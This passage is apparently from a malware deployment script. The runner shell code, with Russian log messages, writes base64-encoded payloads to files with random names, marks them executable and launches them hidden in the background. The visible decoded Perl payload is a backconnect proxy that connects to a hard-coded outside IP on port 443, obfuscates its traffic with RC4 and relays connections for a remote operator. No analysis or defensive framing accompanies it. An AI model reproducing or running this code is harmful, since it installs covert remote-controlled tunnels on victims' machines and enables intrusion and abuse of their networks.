ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #35 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #35 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 36 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv 